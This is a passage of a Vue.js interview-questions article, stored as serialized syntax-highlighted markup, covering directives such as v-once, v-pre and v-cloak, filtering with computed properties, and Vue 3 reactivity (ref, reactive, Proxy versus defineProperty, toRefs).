-->\n",[132,2547,2548,2550,2552,2554,2556,2558,2561,2563,2566,2568,2570,2572,2574,2577,2580,2582,2584,2586,2588,2590,2593,2595],{"class":134,"line":149},[132,2549,139],{"class":138},[132,2551,59],{"class":142},[132,2553,1494],{"class":209},[132,2555,162],{"class":138},[132,2557,1597],{"class":165},[132,2559,2560],{"class":138},"todo ",[132,2562,1603],{"class":209},[132,2564,2565],{"class":138}," todos",[132,2567,1597],{"class":165},[132,2569,1388],{"class":209},[132,2571,162],{"class":138},[132,2573,1597],{"class":165},[132,2575,2576],{"class":209},"!",[132,2578,2579],{"class":138},"todo.done",[132,2581,1597],{"class":165},[132,2583,1611],{"class":138},[132,2585,1614],{"class":158},[132,2587,162],{"class":138},[132,2589,1597],{"class":165},[132,2591,2592],{"class":138},"todo.id",[132,2594,1597],{"class":165},[132,2596,146],{"class":138},[132,2598,2599],{"class":134,"line":176},[132,2600,2601],{"class":138},"    {{ todo.text }}\n",[132,2603,2604,2606,2608],{"class":134,"line":186},[132,2605,179],{"class":138},[132,2607,59],{"class":142},[132,2609,146],{"class":138},[11,2611,2612,2613,1224],{},"There are two clean ways to fix it. Filter the list before it reaches the template, with a ",[18,2614,629],{},[123,2616,2618],{"className":125,"code":2617,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { computed } from 'vue'\n\nconst activeTodos = computed(() => todos.value.filter(todo => !todo.done))\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cli v-for=\"todo in activeTodos\" :key=\"todo.id\">{{ todo.text }}\u003C/li>\n\u003C/template>\n",[18,2619,2620,2630,2641,2645,2682,2690,2694,2702,2729],{"__ignoreMap":128},[132,2621,2622,2624,2626,2628],{"class":134,"line":135},[132,2623,139],{"class":138},[132,2625,198],{"class":142},[132,2627,201],{"class":158},[132,2629,146],{"class":138},[132,2631,2632,2634,2637,2639],{"class":134,"line":149},[132,2633,210],{"class":209},[132,2635,2636],{"class":138}," { computed } ",[132,2638,216],{"class":209},[132,2640,219],{"class":165},[132,2642,2643],{"class":134,"line":176},[132,2644,190],{"emptyLinePlaceholder":189},[132,2646,2647,2649,2652,2654,2657,2660,2663,2666,2669,2671,2673,2676,2679],{"class":134,"line":186},[132,2648,230],{"class":209},[132,2650,2651],{"class":233}," activeTodos",[132,2653,237],{"class":209},[132,2655,2656],{"class":158}," computed",[132,2658,2659],{"class":138},"(() ",[132,2661,2662],{"class":209},"=>",[132,2664,2665],{"class":138}," todos.value.",[132,2667,2668],{"class":158},"filter",[132,2670,243],{"class":138},[132,2672,2531],{"class":697},[132,2674,2675],{"class":209}," =>",[132,2677,2678],{"class":209}," !",[132,2680,2681],{"class":138},"todo.done))\n",[132,2683,2684,2686,2688],{"class":134,"line":193},[132,2685,179],{"class":138},[132,2687,198],{"class":142},[132,2689,146],{"class":138},[132,2691,2692],{"class":134,"line":206},[132,2693,190],{"emptyLinePlaceholder":189},[132,2695,2696,2698,2700],{"class":134,"line":222},[132,2697,139],{"class":138},[132,2699,143],{"class":142},[132,2701,146],{"class":138},[132,2703,2704,2706,2708,2710,2712,2715,2717,2719,2722,2725,2727],{"class":134,"line":227},[132,2705,152],{"class":138},[132,2707,59],{"class":142},[132,2709,1494],{"class":158},[132,2711,162],{"class":138},[132,2713,2714],{"class":165},"\"todo in activeTodos\"",[132,2716,1502],{"class":158},[132,2718,162],{"class":138},[132,2720,2721],{"class":165},"\"todo.id\"",[132,2723,2724],{"class":138},">{{ todo.text }}\u003C/",[132,2726,59],{"class":142},[132,2728,146],{"class":138},[132,2730,2731,2733,2735],{"class":134,"line":252},[132,2732,179],{"class":138},[132,2734,143],{"class":142},[132,2736,146],{"class":138},[11,2738,2739,2740,2742,2743,2745,2746,2748],{},"Or move the ",[18,2741,1345],{}," to a wrapping ",[18,2744,349],{}," tag around the loop, so it applies per iteration without conflicting with ",[18,2747,1454],{}," on the same element:",[123,2750,2752],{"className":125,"code":2751,"language":127,"meta":128,"style":128},"\u003Ctemplate v-for=\"todo in todos\" :key=\"todo.id\">\n    \u003Cli v-if=\"!todo.done\">{{ todo.text }}\u003C/li>\n\u003C/template>\n",[18,2753,2754,2788,2807],{"__ignoreMap":128},[132,2755,2756,2758,2760,2762,2764,2766,2768,2770,2772,2774,2776,2778,2780,2782,2784,2786],{"class":134,"line":135},[132,2757,139],{"class":138},[132,2759,143],{"class":142},[132,2761,1494],{"class":209},[132,2763,162],{"class":138},[132,2765,1597],{"class":165},[132,2767,2560],{"class":138},[132,2769,1603],{"class":209},[132,2771,2565],{"class":138},[132,2773,1597],{"class":165},[132,2775,1611],{"class":138},[132,2777,1614],{"class":158},[132,2779,162],{"class":138},[132,2781,1597],{"class":165},[132,2783,2592],{"class":138},[132,2785,1597],{"class":165},[132,2787,146],{"class":138},[132,2789,2790,2792,2794,2796,2798,2801,2803,2805],{"class":134,"line":149},[132,2791,152],{"class":138},[132,2793,59],{"class":142},[132,2795,1388],{"class":158},[132,2797,162],{"class":138},[132,2799,2800],{"class":165},"\"!todo.done\"",[132,2802,2724],{"class":138},[132,2804,59],{"class":142},[132,2806,146],{"class":138},[132,2808,2809,2811,2813],{"class":134,"line":176},[132,2810,179],{"class":138},[132,2812,143],{"class":142},[132,2814,146],{"class":138},[11,2816,2817],{},"The computed approach is usually preferred, since it also avoids re-running the filter check on every single render for items that were already filtered out.",[34,2819,2821,2822,2825],{"id":2820},"_22-what-is-v-once-and-when-would-you-use-it","22. What is ",[18,2823,2824],{},"v-once",", and when would you use it?",[11,2827,2828,2830],{},[18,2829,2824],{}," tells Vue to render an element (and everything inside it) exactly once, and then treat it as static content from then on, skipping it on all future re-renders even if the data it originally displayed changes.",[123,2832,2834],{"className":125,"code":2833,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Ch1 v-once>{{ title }}\u003C/h1>\n\u003C/template>\n",[18,2835,2836,2844,2861],{"__ignoreMap":128},[132,2837,2838,2840,2842],{"class":134,"line":135},[132,2839,139],{"class":138},[132,2841,143],{"class":142},[132,2843,146],{"class":138},[132,2845,2846,2848,2851,2854,2857,2859],{"class":134,"line":149},[132,2847,152],{"class":138},[132,2849,2850],{"class":142},"h1",[132,2852,2853],{"class":158}," v-once",[132,2855,2856],{"class":138},">{{ title }}\u003C/",[132,2858,2850],{"class":142},[132,2860,146],{"class":138},[132,2862,2863,2865,2867],{"class":134,"line":176},[132,2864,179],{"class":138},[132,2866,143],{"class":142},[132,2868,146],{"class":138},[11,2870,2871],{},"It's a performance optimization for content you know will never need to update after the first render, like a heading built from a prop that's set once and never changes, or a large chunk of content where re-evaluating bindings on every render would be wasted work. Because the element is skipped entirely during Vue's update process, it also slightly reduces the amount of work the virtual DOM diffing has to do elsewhere in that render pass. It's a fairly niche optimization though, reach for it only when you've identified a genuinely static piece of an otherwise dynamic template, not as a default habit.",[34,2873,2875,2876,2825],{"id":2874},"_23-what-is-v-pre-and-when-would-you-use-it","23. What is ",[18,2877,2878],{},"v-pre",[11,2880,2881,2883,2884,2886],{},[18,2882,2878],{}," tells the compiler to skip an element and all of its children entirely, no directive processing, no interpolation. Whatever is written in the markup is output as raw, literal HTML, including any ",[18,2885,1103],{}," mustache syntax.",[123,2888,2890],{"className":125,"code":2889,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cspan v-pre>{{ this will not be evaluated }}\u003C/span>\n\u003C/template>\n",[18,2891,2892,2900,2916],{"__ignoreMap":128},[132,2893,2894,2896,2898],{"class":134,"line":135},[132,2895,139],{"class":138},[132,2897,143],{"class":142},[132,2899,146],{"class":138},[132,2901,2902,2904,2906,2909,2912,2914],{"class":134,"line":149},[132,2903,152],{"class":138},[132,2905,132],{"class":142},[132,2907,2908],{"class":158}," v-pre",[132,2910,2911],{"class":138},">{{ this will not be evaluated }}\u003C/",[132,2913,132],{"class":142},[132,2915,146],{"class":138},[132,2917,2918,2920,2922],{"class":134,"line":176},[132,2919,179],{"class":138},[132,2921,143],{"class":142},[132,2923,146],{"class":138},[11,2925,2926,2927,2930,2931,2934],{},"There are two typical uses. One is a small performance gain: for large blocks of markup with no dynamic bindings or directives at all, skipping compilation on them entirely avoids unnecessary compiler work. The other, more common use is displaying literal Vue syntax to a reader, for example a documentation page that wants to show ",[18,2928,2929],{},"{{ message }}"," as text rather than have Vue try to evaluate ",[18,2932,2933],{},"message"," as an expression. Outside of those two cases it's rarely needed in everyday component code.",[34,2936,2938,2939,2942],{"id":2937},"_24-what-is-v-cloak-and-is-it-still-relevant-in-modern-vue","24. What is ",[18,2940,2941],{},"v-cloak",", and is it still relevant in modern Vue?",[11,2944,2945,2947],{},[18,2946,2941],{}," is a directive that stays on an element until Vue has finished compiling and mounting it, and it's normally paired with a small CSS rule to hide the element until that happens:",[123,2949,2953],{"className":2950,"code":2951,"language":2952,"meta":128,"style":128},"language-html shiki shiki-themes github-dark","\u003Cstyle>\n[v-cloak] {\n    display: none\n}\n\u003C/style>\n\n\u003Cdiv id=\"app\" v-cloak>\n    {{ message }}\n\u003C/div>\n","html",[18,2954,2955,2963,2973,2983,2987,2995,2999,3018,3023],{"__ignoreMap":128},[132,2956,2957,2959,2961],{"class":134,"line":135},[132,2958,139],{"class":138},[132,2960,303],{"class":142},[132,2962,146],{"class":138},[132,2964,2965,2968,2970],{"class":134,"line":149},[132,2966,2967],{"class":138},"[",[132,2969,2941],{"class":158},[132,2971,2972],{"class":138},"] {\n",[132,2974,2975,2978,2980],{"class":134,"line":176},[132,2976,2977],{"class":233},"    display",[132,2979,325],{"class":138},[132,2981,2982],{"class":233},"none\n",[132,2984,2985],{"class":134,"line":186},[132,2986,281],{"class":138},[132,2988,2989,2991,2993],{"class":134,"line":193},[132,2990,179],{"class":138},[132,2992,303],{"class":142},[132,2994,146],{"class":138},[132,2996,2997],{"class":134,"line":206},[132,2998,190],{"emptyLinePlaceholder":189},[132,3000,3001,3003,3005,3008,3010,3013,3016],{"class":134,"line":222},[132,3002,139],{"class":138},[132,3004,1385],{"class":142},[132,3006,3007],{"class":158}," id",[132,3009,162],{"class":138},[132,3011,3012],{"class":165},"\"app\"",[132,3014,3015],{"class":158}," v-cloak",[132,3017,146],{"class":138},[132,3019,3020],{"class":134,"line":227},[132,3021,3022],{"class":138},"    {{ message }}\n",[132,3024,3025,3027,3029],{"class":134,"line":252},[132,3026,179],{"class":138},[132,3028,1385],{"class":142},[132,3030,146],{"class":138},[11,3032,3033,3034,3036,3037,3039],{},"Its purpose is to prevent a brief flash of uncompiled mustache syntax, literally seeing ",[18,3035,2929],{}," on screen for a moment, before Vue takes over. That flash can happen when a browser downloads and parses an HTML page (with the raw template already in the DOM) and then has to wait for the Vue script to load and compile it, which is a scenario specific to using Vue directly via a CDN ",[18,3038,49],{}," tag with an in-DOM template.",[11,3041,3042,3043,3045,3046,3048],{},"In a modern, build-tool-based Vue app (Vite, ",[18,3044,754],{},", SFCs), it's mostly irrelevant. Your templates are compiled to render functions at build time, and the app only renders into the DOM once Vue is already running, so there's no raw, uncompiled template sitting in the page waiting to be parsed, and therefore nothing for ",[18,3047,2941],{}," to hide. You'd only reach for it today if you're using the no-build, CDN-script approach to Vue rather than a bundled SFC application.",[29,3050,3052],{"id":3051},"reactivity-system","Reactivity System",[34,3054,3056],{"id":3055},"_25-what-is-reactivity-and-how-does-vues-reactivity-system-work-at-a-high-level","25. What is reactivity, and how does Vue's reactivity system work at a high level?",[11,3058,3059],{},"Reactivity is what lets Vue automatically update the DOM when your data changes, without you writing any manual \"update the UI now\" code. You change a variable, and the parts of the page that depend on it just update themselves.",[11,3061,3062],{},[1268,3063],{"alt":3064,"src":3065},"Vue reactivity flow diagram","/post-images/top-150-vuejs-interview-questions/vue-reactivity-flow-diagram.png",[11,3067,3068,3069,3072,3073,3076,3077,3080],{},"Under the hood, Vue 3 wraps your data in a Proxy (through ",[18,3070,3071],{},"reactive()",") or in a special object with a ",[18,3074,3075],{},".value"," property (through ",[18,3078,3079],{},"ref()","). When a component renders, Vue tracks which reactive properties were read during that render, this is called dependency tracking. When one of those properties is later written to, Vue knows exactly which parts of the app depend on it and schedules them to re-run.",[123,3082,3084],{"className":388,"code":3083,"language":390,"meta":128,"style":128},"import { reactive, effect } from 'vue'\n\nconst state = reactive({ count: 0 })\n\neffect(() => {\n    console.log('count is', state.count)\n})\n\nstate.count++  // logs \"count is 1\" automatically\n",[18,3085,3086,3097,3101,3121,3125,3136,3152,3157,3161],{"__ignoreMap":128},[132,3087,3088,3090,3093,3095],{"class":134,"line":135},[132,3089,210],{"class":209},[132,3091,3092],{"class":138}," { reactive, effect } ",[132,3094,216],{"class":209},[132,3096,219],{"class":165},[132,3098,3099],{"class":134,"line":149},[132,3100,190],{"emptyLinePlaceholder":189},[132,3102,3103,3105,3108,3110,3113,3116,3118],{"class":134,"line":176},[132,3104,230],{"class":209},[132,3106,3107],{"class":233}," state",[132,3109,237],{"class":209},[132,3111,3112],{"class":158}," reactive",[132,3114,3115],{"class":138},"({ count: ",[132,3117,246],{"class":233},[132,3119,3120],{"class":138}," })\n",[132,3122,3123],{"class":134,"line":186},[132,3124,190],{"emptyLinePlaceholder":189},[132,3126,3127,3130,3132,3134],{"class":134,"line":193},[132,3128,3129],{"class":158},"effect",[132,3131,2659],{"class":138},[132,3133,2662],{"class":209},[132,3135,316],{"class":138},[132,3137,3138,3141,3144,3146,3149],{"class":134,"line":206},[132,3139,3140],{"class":138},"    console.",[132,3142,3143],{"class":158},"log",[132,3145,243],{"class":138},[132,3147,3148],{"class":165},"'count is'",[132,3150,3151],{"class":138},", state.count)\n",[132,3153,3154],{"class":134,"line":222},[132,3155,3156],{"class":138},"})\n",[132,3158,3159],{"class":134,"line":227},[132,3160,190],{"emptyLinePlaceholder":189},[132,3162,3163,3166,3169],{"class":134,"line":252},[132,3164,3165],{"class":138},"state.count",[132,3167,3168],{"class":209},"++",[132,3170,3171],{"class":397},"  // logs \"count is 1\" automatically\n",[11,3173,1543,3174,3177,3178,3180],{},[18,3175,3176],{},"effect()"," function above is the low-level primitive Vue's reactivity is built on. Component render functions are, at their core, just an ",[18,3179,3129],{}," that Vue creates for you. So the whole system boils down to two steps repeating forever: track what a piece of code reads, and re-run that code when what it read changes.",[34,3182,3184,3185,592,3187,1349],{"id":3183},"_26-what-is-the-difference-between-ref-and-reactive","26. What is the difference between ",[18,3186,3079],{},[18,3188,3071],{},[11,3190,3191,3192,3194,3195,3197,3198,3200],{},"Both are ways to create reactive state, but they wrap values differently. ",[18,3193,3079],{}," takes any value, including primitives like numbers and strings, and wraps it in an object with a single ",[18,3196,3075],{}," property. ",[18,3199,3071],{}," takes an object (or array, Map, Set) and returns a Proxy of it directly, no wrapper needed.",[123,3202,3204],{"className":388,"code":3203,"language":390,"meta":128,"style":128},"import { ref, reactive } from 'vue'\n\nconst count = ref(0)\ncount.value++\n\nconst state = reactive({ count: 0 })\nstate.count++\n",[18,3205,3206,3217,3221,3237,3244,3248,3264],{"__ignoreMap":128},[132,3207,3208,3210,3213,3215],{"class":134,"line":135},[132,3209,210],{"class":209},[132,3211,3212],{"class":138}," { ref, reactive } ",[132,3214,216],{"class":209},[132,3216,219],{"class":165},[132,3218,3219],{"class":134,"line":149},[132,3220,190],{"emptyLinePlaceholder":189},[132,3222,3223,3225,3227,3229,3231,3233,3235],{"class":134,"line":176},[132,3224,230],{"class":209},[132,3226,234],{"class":233},[132,3228,237],{"class":209},[132,3230,240],{"class":158},[132,3232,243],{"class":138},[132,3234,246],{"class":233},[132,3236,249],{"class":138},[132,3238,3239,3242],{"class":134,"line":186},[132,3240,3241],{"class":138},"count.value",[132,3243,275],{"class":209},[132,3245,3246],{"class":134,"line":193},[132,3247,190],{"emptyLinePlaceholder":189},[132,3249,3250,3252,3254,3256,3258,3260,3262],{"class":134,"line":206},[132,3251,230],{"class":209},[132,3253,3107],{"class":233},[132,3255,237],{"class":209},[132,3257,3112],{"class":158},[132,3259,3115],{"class":138},[132,3261,246],{"class":233},[132,3263,3120],{"class":138},[132,3265,3266,3268],{"class":134,"line":222},[132,3267,3165],{"class":138},[132,3269,275],{"class":209},[11,3271,3272],{},"The practical differences that matter:",[479,3274,3275,3289],{},[482,3276,3277],{},[485,3278,3279,3281,3285],{},[488,3280],{},[488,3282,3283],{},[18,3284,3079],{},[488,3286,3287],{},[18,3288,3071],{},[498,3290,3291,3302,3314,3324,3339],{},[485,3292,3293,3296,3299],{},[503,3294,3295],{},"Works with primitives",[503,3297,3298],{},"Yes",[503,3300,3301],{},"No, only objects",[485,3303,3304,3307,3311],{},[503,3305,3306],{},"Access syntax in script",[503,3308,3309],{},[18,3310,3075],{},[503,3312,3313],{},"Direct property access",[485,3315,3316,3319,3322],{},[503,3317,3318],{},"Access syntax in template",[503,3320,3321],{},"Auto-unwrapped",[503,3323,3313],{},[485,3325,3326,3329,3336],{},[503,3327,3328],{},"Can be reassigned entirely",[503,3330,3331,3332,3335],{},"Yes (",[18,3333,3334],{},"count.value = newVal",")",[503,3337,3338],{},"No, reassigning loses reactivity",[485,3340,3341,3344,3347],{},[503,3342,3343],{},"Destructuring",[503,3345,3346],{},"Safe, still reactive",[503,3348,3349],{},"Breaks reactivity",[11,3351,3352,3353,3355,3356,3358],{},"A common convention is to use ",[18,3354,3079],{}," for most state, since it works for everything and reassigning the whole value is common in day to day code, and reach for ",[18,3357,3071],{}," when you have a tightly related group of fields that will always be read and written together, like a form object.",[34,3360,3362,3363,3365,3366,3368,3369,3371],{"id":3361},"_27-why-do-you-need-value-to-read-a-ref-in-a-script-block-but-not-in-the-template","27. Why do you need ",[18,3364,3075],{}," to read a ",[18,3367,1004],{}," in a ",[18,3370,49],{}," block but not in the template?",[11,3373,3374,3375,3377,3378,3380,3381,3383,3384,3386],{},"A ",[18,3376,1004],{}," is just a plain JavaScript object with a getter and setter defined on its ",[18,3379,3075],{}," property (using ",[18,3382,510],{}," internally, or a class with a getter/setter, depending on the version). JavaScript has no way to intercept \"reading a variable\" the way a Proxy can intercept \"reading a property,\" so outside of a template, there is no magic available: you have to explicitly go through ",[18,3385,3075],{}," to trigger the getter that Vue attached.",[11,3388,3389,3390,3392,3393,3395,3396,3398,3399,3401],{},"Templates are different because they are not really JavaScript, they are compiled. Vue's compiler walks the template, and for any top-level variable it knows came from a ",[18,3391,3079],{}," (because it was returned from ",[18,3394,968],{}," or is a top-level binding in ",[18,3397,20],{},"), it automatically inserts the ",[18,3400,3075],{}," access for you during compilation. This is called ref unwrapping.",[123,3403,3405],{"className":125,"code":3404,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref } from 'vue'\nconst count = ref(0)\nfunction increment() {\n    count.value++ // must use .value here\n}\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cbutton @click=\"increment\">{{ count }}\u003C/button>\n    \u003C!-- no .value needed, compiler handles it -->\n\u003C/template>\n",[18,3406,3407,3417,3427,3443,3451,3460,3464,3472,3476,3484,3503,3508],{"__ignoreMap":128},[132,3408,3409,3411,3413,3415],{"class":134,"line":135},[132,3410,139],{"class":138},[132,3412,198],{"class":142},[132,3414,201],{"class":158},[132,3416,146],{"class":138},[132,3418,3419,3421,3423,3425],{"class":134,"line":149},[132,3420,210],{"class":209},[132,3422,213],{"class":138},[132,3424,216],{"class":209},[132,3426,219],{"class":165},[132,3428,3429,3431,3433,3435,3437,3439,3441],{"class":134,"line":176},[132,3430,230],{"class":209},[132,3432,234],{"class":233},[132,3434,237],{"class":209},[132,3436,240],{"class":158},[132,3438,243],{"class":138},[132,3440,246],{"class":233},[132,3442,249],{"class":138},[132,3444,3445,3447,3449],{"class":134,"line":186},[132,3446,260],{"class":209},[132,3448,263],{"class":158},[132,3450,266],{"class":138},[132,3452,3453,3455,3457],{"class":134,"line":193},[132,3454,272],{"class":138},[132,3456,3168],{"class":209},[132,3458,3459],{"class":397}," // must use .value here\n",[132,3461,3462],{"class":134,"line":206},[132,3463,281],{"class":138},[132,3465,3466,3468,3470],{"class":134,"line":222},[132,3467,179],{"class":138},[132,3469,198],{"class":142},[132,3471,146],{"class":138},[132,3473,3474],{"class":134,"line":227},[132,3475,190],{"emptyLinePlaceholder":189},[132,3477,3478,3480,3482],{"class":134,"line":252},[132,3479,139],{"class":138},[132,3481,143],{"class":142},[132,3483,146],{"class":138},[132,3485,3486,3488,3490,3492,3494,3496,3499,3501],{"class":134,"line":257},[132,3487,152],{"class":138},[132,3489,155],{"class":142},[132,3491,159],{"class":158},[132,3493,162],{"class":138},[132,3495,166],{"class":165},[132,3497,3498],{"class":138},">{{ count }}\u003C/",[132,3500,155],{"class":142},[132,3502,146],{"class":138},[132,3504,3505],{"class":134,"line":269},[132,3506,3507],{"class":397},"    \u003C!-- no .value needed, compiler handles it -->\n",[132,3509,3510,3512,3514],{"class":134,"line":278},[132,3511,179],{"class":138},[132,3513,143],{"class":142},[132,3515,146],{"class":138},[11,3517,3518,3519,3522,3523,3526,3527,3529,3530,3532],{},"One gotcha: unwrapping only happens for refs that are top-level in the template's data context. A ref nested inside a plain object, like ",[18,3520,3521],{},"state.myRef"," where ",[18,3524,3525],{},"state"," is a reactive object, does get auto-unwrapped because ",[18,3528,3071],{}," unwraps nested refs on property access. But a ref inside a plain array or a non-reactive object does not unwrap automatically, you still need ",[18,3531,3075],{}," there.",[34,3534,3536,3537,3539],{"id":3535},"_28-how-is-vue-3s-proxy-based-reactivity-different-from-vue-2s-objectdefineproperty-based-reactivity","28. How is Vue 3's Proxy-based reactivity different from Vue 2's ",[18,3538,510],{}," based reactivity?",[11,3541,3542,3543,3545,3546,3549,3550,3553,3554,3557,3558,592,3561,3564],{},"Vue 2 made objects reactive by walking every property on them at creation time and replacing each one with a getter/setter pair using ",[18,3544,510],{},". This approach had real limitations. Because it worked property by property, Vue 2 could not detect new properties added to an object after creation, ",[18,3547,3548],{},"this.obj.newProp = 'x'"," was silently non-reactive unless you used ",[18,3551,3552],{},"Vue.set()",". It also could not detect array index assignment (",[18,3555,3556],{},"arr[0] = 'x'",") or length changes, so Vue 2 had to override array methods like ",[18,3559,3560],{},"push",[18,3562,3563],{},"splice"," with reactive versions instead.",[11,3566,3567,3568,3570],{},"Vue 3 solves both problems by wrapping the entire object in a ",[18,3569,517],{}," instead of touching individual properties.",[123,3572,3574],{"className":388,"code":3573,"language":390,"meta":128,"style":128},"const state = reactive({ count: 0 })\nstate.newProp = 'hello'   // reactive in Vue 3, was not in Vue 2\n\nconst list = reactive([1, 2, 3])\nlist[0] = 99               // reactive in Vue 3, needed Vue.set in Vue 2\nlist.length = 0            // also tracked correctly\n",[18,3575,3576,3592,3605,3609,3637,3655],{"__ignoreMap":128},[132,3577,3578,3580,3582,3584,3586,3588,3590],{"class":134,"line":135},[132,3579,230],{"class":209},[132,3581,3107],{"class":233},[132,3583,237],{"class":209},[132,3585,3112],{"class":158},[132,3587,3115],{"class":138},[132,3589,246],{"class":233},[132,3591,3120],{"class":138},[132,3593,3594,3597,3599,3602],{"class":134,"line":149},[132,3595,3596],{"class":138},"state.newProp ",[132,3598,162],{"class":209},[132,3600,3601],{"class":165}," 'hello'",[132,3603,3604],{"class":397},"   // reactive in Vue 3, was not in Vue 2\n",[132,3606,3607],{"class":134,"line":176},[132,3608,190],{"emptyLinePlaceholder":189},[132,3610,3611,3613,3616,3618,3620,3623,3625,3627,3629,3631,3634],{"class":134,"line":186},[132,3612,230],{"class":209},[132,3614,3615],{"class":233}," list",[132,3617,237],{"class":209},[132,3619,3112],{"class":158},[132,3621,3622],{"class":138},"([",[132,3624,1567],{"class":233},[132,3626,581],{"class":138},[132,3628,1570],{"class":233},[132,3630,581],{"class":138},[132,3632,3633],{"class":233},"3",[132,3635,3636],{"class":138},"])\n",[132,3638,3639,3642,3644,3647,3649,3652],{"class":134,"line":193},[132,3640,3641],{"class":138},"list[",[132,3643,246],{"class":233},[132,3645,3646],{"class":138},"] ",[132,3648,162],{"class":209},[132,3650,3651],{"class":233}," 99",[132,3653,3654],{"class":397},"               // reactive in Vue 3, needed Vue.set in Vue 2\n",[132,3656,3657,3660,3663,3665,3668],{"class":134,"line":206},[132,3658,3659],{"class":138},"list.",[132,3661,3662],{"class":233},"length",[132,3664,237],{"class":209},[132,3666,3667],{"class":233}," 0",[132,3669,3670],{"class":397},"            // also tracked correctly\n",[11,3672,3673,3674,581,3677,581,3680,581,3683,3686],{},"A Proxy intercepts operations at the object level (",[18,3675,3676],{},"get",[18,3678,3679],{},"set",[18,3681,3682],{},"has",[18,3684,3685],{},"deleteProperty",", and so on), so any property, whether it existed at creation time or was added later, and any array operation, goes through the same trap. This also means Vue 3 no longer needs to eagerly walk and instrument every nested property up front; conversion happens lazily, only when a nested object is actually accessed, which is also a performance win for large state trees.",[34,3688,3690,3691,3693,3694,3696],{"id":3689},"_29-what-are-the-limitations-of-reactive-that-make-ref-necessary-for-primitives","29. What are the limitations of ",[18,3692,3071],{}," that make ",[18,3695,3079],{}," necessary for primitives?",[11,3698,3699,3701,3702,3704,3705,3708],{},[18,3700,3071],{}," is built on JavaScript's ",[18,3703,517],{},", and a Proxy can only wrap objects, it has nothing to intercept on a primitive like a number or a string, since primitives are passed by value, not by reference. If ",[18,3706,3707],{},"reactive(0)"," were allowed, there would be no object identity for Vue to attach a Proxy to, so Vue explicitly disallows it (and warns you in development if you try).",[11,3710,3711,3712,3714,3715,3717,3718,3721,3722,3724,3725,3727,3728,3730],{},"This is exactly the gap ",[18,3713,3079],{}," fills. Instead of trying to make the primitive itself reactive, ",[18,3716,3079],{}," wraps it inside an object (",[18,3719,3720],{},"{ value: 0 }",") and makes that wrapper object's ",[18,3723,3075],{}," property reactive using a getter/setter pair. Now there is an object for Vue to track, and reassigning ",[18,3726,3075],{}," triggers updates just like changing a property on a ",[18,3729,3071],{}," object would.",[123,3732,3734],{"className":388,"code":3733,"language":390,"meta":128,"style":128},"import { ref } from 'vue'\n\nconst count = ref(0)        // works, wrapped in an object internally\n// const count = reactive(0)  // invalid, warns and just returns 0\n",[18,3735,3736,3746,3750,3770],{"__ignoreMap":128},[132,3737,3738,3740,3742,3744],{"class":134,"line":135},[132,3739,210],{"class":209},[132,3741,213],{"class":138},[132,3743,216],{"class":209},[132,3745,219],{"class":165},[132,3747,3748],{"class":134,"line":149},[132,3749,190],{"emptyLinePlaceholder":189},[132,3751,3752,3754,3756,3758,3760,3762,3764,3767],{"class":134,"line":176},[132,3753,230],{"class":209},[132,3755,234],{"class":233},[132,3757,237],{"class":209},[132,3759,240],{"class":158},[132,3761,243],{"class":138},[132,3763,246],{"class":233},[132,3765,3766],{"class":138},")        ",[132,3768,3769],{"class":397},"// works, wrapped in an object internally\n",[132,3771,3772,3775],{"class":134,"line":186},[132,3773,3774],{"class":397},"// const count = reactive(0)",[132,3776,3777],{"class":397},"  // invalid, warns and just returns 0\n",[11,3779,3780,3781,3783,3784,3786,3787,3789,3790,3792],{},"This is also why ",[18,3782,3079],{}," is the more general tool: it works for primitives, objects, and everything in between (in fact, if you pass an object to ",[18,3785,3079],{},", it internally calls ",[18,3788,3071],{}," on it), whereas ",[18,3791,3071],{}," is strictly limited to object types.",[34,3794,3796,3797,3799,3800,3803],{"id":3795},"_30-what-happens-if-you-destructure-a-reactive-object-and-how-do-torefs-fix-it","30. What happens if you destructure a ",[18,3798,3071],{}," object, and how do ",[18,3801,3802],{},"toRefs"," fix it?",[11,3805,3806,3807,3809],{},"When you destructure a ",[18,3808,3071],{}," object, you pull out the current value of each property as a plain, disconnected variable. That variable is no longer linked to the Proxy, so changing the original state does not update it, and changing the destructured variable does not update the original state either. Reactivity is lost.",[123,3811,3813],{"className":388,"code":3812,"language":390,"meta":128,"style":128},"import { reactive } from 'vue'\n\nconst state = reactive({ count: 0, name: 'Vue' })\nconst { count, name } = state\n\nstate.count++\nconsole.log(count) // still 0, not connected anymore\n",[18,3814,3815,3826,3830,3852,3875,3879,3885],{"__ignoreMap":128},[132,3816,3817,3819,3822,3824],{"class":134,"line":135},[132,3818,210],{"class":209},[132,3820,3821],{"class":138}," { reactive } ",[132,3823,216],{"class":209},[132,3825,219],{"class":165},[132,3827,3828],{"class":134,"line":149},[132,3829,190],{"emptyLinePlaceholder":189},[132,3831,3832,3834,3836,3838,3840,3842,3844,3847,3850],{"class":134,"line":176},[132,3833,230],{"class":209},[132,3835,3107],{"class":233},[132,3837,237],{"class":209},[132,3839,3112],{"class":158},[132,3841,3115],{"class":138},[132,3843,246],{"class":233},[132,3845,3846],{"class":138},", name: ",[132,3848,3849],{"class":165},"'Vue'",[132,3851,3120],{"class":138},[132,3853,3854,3856,3859,3862,3864,3867,3870,3872],{"class":134,"line":186},[132,3855,230],{"class":209},[132,3857,3858],{"class":138}," { ",[132,3860,3861],{"class":233},"count",[132,3863,581],{"class":138},[132,3865,3866],{"class":233},"name",[132,3868,3869],{"class":138}," } ",[132,3871,162],{"class":209},[132,3873,3874],{"class":138}," state\n",[132,3876,3877],{"class":134,"line":193},[132,3878,190],{"emptyLinePlaceholder":189},[132,3880,3881,3883],{"class":134,"line":206},[132,3882,3165],{"class":138},[132,3884,275],{"class":209},[132,3886,3887,3890,3892,3895],{"class":134,"line":222},[132,3888,3889],{"class":138},"console.",[132,3891,3143],{"class":158},[132,3893,3894],{"class":138},"(count) ",[132,3896,3897],{"class":397},"// still 0, not connected anymore\n",[11,3899,3900,3903,3904,3906,3907,3909],{},[18,3901,3902],{},"toRefs()"," fixes this by converting every property on a reactive object into its own individual ",[18,3905,1004],{},", each one linked back to the original source through a getter/setter. Destructuring the result of ",[18,3908,3902],{}," gives you refs, not disconnected values, so the connection survives.",[123,3911,3913],{"className":388,"code":3912,"language":390,"meta":128,"style":128},"import { reactive, toRefs } from 'vue'\n\nconst state = reactive({ count: 0, name: 'Vue' })\nconst { count, 